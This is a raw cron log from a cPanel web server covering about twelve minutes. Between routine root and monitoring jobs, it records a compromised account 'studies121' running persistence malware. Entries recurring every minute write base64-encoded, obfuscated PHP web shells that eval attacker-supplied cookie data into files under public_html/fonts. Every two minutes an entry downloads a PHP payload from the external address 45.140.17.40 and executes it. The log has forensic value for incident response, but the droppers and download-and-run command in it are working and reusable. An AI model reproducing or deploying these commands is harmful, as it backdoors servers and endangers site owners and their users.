Aug 31 23:34:01 ip-184-168-122-23 CROND[12707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:34:01 ip-184-168-122-23 CROND[12709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:34:01 ip-184-168-122-23 CROND[12710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:34:01 ip-184-168-122-23 CROND[12712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:34:01 ip-184-168-122-23 CROND[12711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:35:01 ip-184-168-122-23 CROND[12812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:35:01 ip-184-168-122-23 CROND[12818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:35:01 ip-184-168-122-23 CROND[12817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:35:01 ip-184-168-122-23 CROND[12814]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 23:35:01 ip-184-168-122-23 CROND[12816]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 23:35:01 ip-184-168-122-23 CROND[12819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:35:01 ip-184-168-122-23 CROND[12815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:35:01 ip-184-168-122-23 CROND[12820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:36:01 ip-184-168-122-23 CROND[12918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:36:01 ip-184-168-122-23 CROND[12919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:36:01 ip-184-168-122-23 CROND[12922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:36:01 ip-184-168-122-23 CROND[12923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:36:01 ip-184-168-122-23 CROND[12924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:37:01 ip-184-168-122-23 CROND[13093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:37:01 ip-184-168-122-23 CROND[13095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:37:01 ip-184-168-122-23 CROND[13097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:37:01 ip-184-168-122-23 CROND[13099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:38:01 ip-184-168-122-23 CROND[13197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:38:01 ip-184-168-122-23 CROND[13199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:38:01 ip-184-168-122-23 CROND[13200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:38:01 ip-184-168-122-23 CROND[13202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:38:01 ip-184-168-122-23 CROND[13201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:39:01 ip-184-168-122-23 CROND[13320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:39:02 ip-184-168-122-23 CROND[13321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:39:02 ip-184-168-122-23 CROND[13323]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 23:39:02 ip-184-168-122-23 CROND[13324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:39:02 ip-184-168-122-23 CROND[13328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:40:01 ip-184-168-122-23 CROND[13451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:40:01 ip-184-168-122-23 CROND[13453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:40:01 ip-184-168-122-23 CROND[13456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:40:01 ip-184-168-122-23 CROND[13454]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:40:01 ip-184-168-122-23 CROND[13455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:40:01 ip-184-168-122-23 CROND[13457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:40:01 ip-184-168-122-23 CROND[13458]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:40:01 ip-184-168-122-23 CROND[13459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:41:01 ip-184-168-122-23 CROND[13554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:41:01 ip-184-168-122-23 CROND[13556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:41:01 ip-184-168-122-23 CROND[13557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:41:01 ip-184-168-122-23 CROND[13559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:42:01 ip-184-168-122-23 CROND[13732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:42:01 ip-184-168-122-23 CROND[13736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:42:01 ip-184-168-122-23 CROND[13735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:42:01 ip-184-168-122-23 CROND[13734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:42:01 ip-184-168-122-23 CROND[13737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:43:01 ip-184-168-122-23 CROND[13846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:43:01 ip-184-168-122-23 CROND[13845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:43:01 ip-184-168-122-23 CROND[13847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:43:01 ip-184-168-122-23 CROND[13848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:44:01 ip-184-168-122-23 CROND[13936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:44:01 ip-184-168-122-23 CROND[13938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:44:01 ip-184-168-122-23 CROND[13940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:44:01 ip-184-168-122-23 CROND[13941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:44:01 ip-184-168-122-23 CROND[13942]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:45:02 ip-184-168-122-23 CROND[14047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:45:02 ip-184-168-122-23 CROND[14050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:45:02 ip-184-168-122-23 CROND[14052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:45:02 ip-184-168-122-23 CROND[14049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:45:02 ip-184-168-122-23 CROND[14051]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:45:02 ip-184-168-122-23 CROND[14053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:46:01 ip-184-168-122-23 CROND[14151]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 23:46:01 ip-184-168-122-23 CROND[14153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
